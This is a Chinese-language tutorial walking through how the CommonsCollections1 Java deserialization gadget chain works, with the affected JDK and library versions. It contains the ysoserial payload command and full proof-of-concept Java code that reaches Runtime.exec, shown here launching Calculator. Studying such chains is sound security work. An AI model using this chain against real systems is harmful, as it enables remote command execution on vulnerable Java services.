1.CommonsCollections简介
Apache Commons Collections(简称CC)是一个Apache软件基金会的项目。该项目中包含了常用数据结构的扩展和补充。以Map接口为例,最常用的就是java中自带的Hashmap类,但是这种简单的Map类有时候往往无法满足我们的需求。因此CC项目中对一些可能经常用到的Map进行了包装,例如:
LinkedMap(有序Map):条目顺序由最初的数据插入时来决定。BidiMap (双向Map):既可以通过key找到value,也可以通过value找到key。LazyMap:当键值被访问时若不存在才创建。例如从数据库中读取,这个就没必要初始化的时候把所有数据都从数据库加载到内存里,用哪个取哪个即可。
ysoserial项目中使用该项目生成反序列化漏洞的gadget显然是因为该项目包应用比较广泛,并且其中包含了某些在反序列化中可以自动执行命令的利用点。
2.CommonsCollections1利用链测试
CommonsCollections1利用链对于java版本有一定要求,java版本要小于8u71。这里我用的7u80。CommonsCollections库的版本为3.2.1。
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC1.bin
2.使用如下代码对序列化数据进行反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class TestCC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fIs = new FileInputStream("CC1.bin");
ObjectInputStream objIs = new ObjectInputStream(fIs);
objIs.readObject();
}
}
可以看到将会弹出计算器,命令正常执行。

3.CommonsCollections1利用链分析
CC1利用链整体代码如下:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
//使用反射方法调用Runtime.getRuntime().exec("cmd");
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//lazyMap在调用其get方法时会执行transformer()方法
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
// 代理类在执行任意方法的时候都会调用其invoke方法。
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
//其实创建的是以AnnotationInvocationHandler作为handler的一个代理,当mapProxy执行任意方法的时候都会调用AnnotationInvocationHandler的invoke方法,而invoke方法中有get方法!
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
代码非常长我们将其分解开来一步一步理解。先尝试理解各个部分的功能。
3.1 transformers
前面说过,这个Commons Collections项目中包含了常用的一些数据结构,以Map为例,正常的Map中包含的就是普通的键值对。但是如果我希望在put数据的时候或者get数据的时候,比如键是用户名,值是密码,但我希望密码不要明文保存,做个md5等哈希操作,就可以用到CC项目中的transformers。正如它的名字,这个transformers其实就是一个自动对输入的键和值进行加工转化的处理器。当然这个transformer是需要和CC项目中的数据结构类配套使用的,每一个transformer里面都会包含一个transform方法,在特定时候数据结构就会调用transform方法。
CC1利用链中用到的transformers有以下几个:
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
以下对这三个transformer分别进行说明。
3.1.1 ConstantTransformer
从名字就可以看出来这个transformer的返回值就是个固定值。其构造函数和transform函数代码如下:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
可以看到,构造的时候输入的对象是什么,transform函数返回值就是什么。因此CC1中new ConstantTransformer(Runtime.class)当调用它的transform方法时返回的值就是一个Runtime.class。
3.1.2 InvokerTransformer
从名字就可以看出来,这个transformer应该是会调用某个方法。先看一下它的构造函数(CC1中用的)。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
可以看到,传入的三个参数分别为方法名、参数类型、参数。再看看其transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
可以看到这里transform函数功能就是根据输入的这个对象,调用它的iMethodName方法并且参数为iParamTypes类型,参数的值就是构造函数里设置的iArgs。CC1中一共用了三次InvokerTransformer,以第一次为例,假如(事实也是)第一次InvokerTransformer类的transform方法调用时Object input为上一步ConstantTransformer的transform方法返回的Runtime.class。那么InvokerTransformer类的transform方法执行的代码如下:
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
System.out.println(method.invoke(Runtime.class,new Object[] {"getRuntime", new Class[0] }));
可以看到返回结果是一个getRuntime的Method!

可以看到,如果前一个transformer的输出结果是下一个transformer的输入值,那么显然下一个invoke就是执行getRuntime。再下一个就是在Runtime里执行exec函数从而执行命令。那么如何实现这个将前一个transformer的transform方法的返回结果作为后一个transformer的输入呢?这里就用到了ChainedTransformer。
3.1.3 ChainedTransformer
从名字可以看出来,它是一条transformer链。我们可以看一下它的构造函数和transform方法:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
可以看出,这里的这个构造方法就是输入一个transformer数组,然后transform方法将会使用for循环来遍历每一个transformer类,调用其transform方法,然后将上一次调用的结果作为下一次的输入!至此如果我们可以触发这个ChainedTransformer类的transform方法,那么就可以获得Runtime类并执行系统命令。但是如何才能触发transform方法?CC1中用到的就是lazyMap。
3.2 lazyMap
首先查看一下lazyMap的构造函数:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
其实就是声明了一个map,然后设置了一下这个LazyMap的factory。而CC1中调用的LazyMap.decorate如下:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
其实就是生成了一个LazyMap对象。而我们输入的ChainedTransformer就会变成这个对象的factory。那么LazyMap对象什么时候才会调用factory的transform方法呢?通过搜索可以发现,在调用LazyMap对象的get方法时如果找不到那个键就会触发factory(也就是我们设计的ChainedTransformer)的transform方法。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);//这里调用!
map.put(key, value);
return value;
}
return map.get(key);
}
我们使用如下代码进行测试:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class TestCC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs)
};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("theKeyNotExist");
}
}
测试发现命令被正常执行,系统弹出了计算器。lazymap虽然实现了Serializable接口可以进行反序列化操作,但是它的readObject方法中并没有调用到get方法。那么这里就需要一个类,在反序列化时,readObject方法中会触发调用lazyMap的get方法。这里CC1中所用的就是sun.reflect.annotation.AnnotationInvocationHandler。
3.3 AnnotationInvocationHandler
这个类保存在sun.reflect.annotation.AnnotationInvocationHandler,还是先看一下这个类的构造函数。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
可以看到构造的时候传入的第二个参数Map类型,我们传入构造的lazyMap对象。那么这个AnnotationInvocationHandler的memberValues就是我们的lazyMap对象。也就是说如果AnnotationInvocationHandler的readObject方法中有this.memberValues.get那么就会触发我们的设计的ChainedTransformer的transformer方法。然而AnnotationInvocationHandler的readObject方法代码如下:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
可以看到这里并没有调用memberValues.get,只有一个memberValues.entrySet().iterator()。搜索发现这里面invoke方法中调用了memberValues.get。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);//就这个位置!
...省略...
return var6;
}
}
}
}
ysoserial作者使用了动态代理的来触发invoke方法。前面学过对于一个类,可以写一个该类的代理InvocationHandler,生成一个代理类。通过代理类去访问被代理类中的任意方法时,均会先进入handler的invoke方法,然后再去执行被代理类的方法。而这个AnnotationInvocationHandler本身就是一个InvocationHandler。因此可以使用AnnotationInvocationHandler作为InvocationHandler创建一个代理类。这样无论代理类中执行什么函数都会调用AnnotationInvocationHandler.invoke,从而执行我们的LazyMap.set。这里AnnotationInvocationHandler没有public的构造函数,因此需要使用反射方法创建实例,代码如下:
String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map m = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);
那么这里如果反序列化中调用了我们生成的代理Map的任意方法都会执行handler中的invoke方法。正好前面说了AnnotationInvocationHandler.readObject中包含着一个memberValues.entrySet(),调用了传入Map的entrySet方法。因此可以对代理出的Map对象再作为AnnotationInvocationHandler的memberValues实例化一个对象。最终代码如下,运行发现命令被执行,计算器被运行。
public class TestCC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs)
};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//lazyMap.get("theKeyNotExist");
//使用反射获取AnnotationInvocationHandler实例
String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map ProxyedMap = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);
InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(CC1Obj);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = (Object)objectInputStream.readObject();
}
}
4.适用版本
4.1 jdk版本要求
这里我们对jdk和CC项目的源码进行了对比。下载代码推荐如下方式,jdk代码推荐适用hg下载,虽然github中也能找到jdk源码,但可能是我的操作不熟练,感觉github上的jdk源码commit记录有缺失,因此推荐使用hg下载。
hg clone http://hg.openjdk.java.net/jdk8u/jdk8u
git clone http://gitbox.apache.org/repos/asf/commons-collections.git
先看jdk修改
hg log src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java

可以看到就是在11364:8e3338e7c7ea中对这个AnnotationInvocationHandler.java进行了修改,导致invoke无法触发。其中的修改主要是修改了AnnotationInvocationHandler.readObject的代码,新版的代码中将不再执行s.defaultReadObject。因此触发invoke方法时,this.memberValues的值将是null。

changeset11364就在jdk8u71-b11和jdk8u71-b12之间,因此该利用链要求的jdk版本应小于等于jdk8u71-b11。

4.2 CC项目版本要求
cc里面15年光棍节的时候把InvokerTransformer的readObject和writeObject都进行了修改,限制了不安全的序列化反序列化。而之后发布的发行版就是3.2.2。
因此CC项目版本要求为小于3.2.2。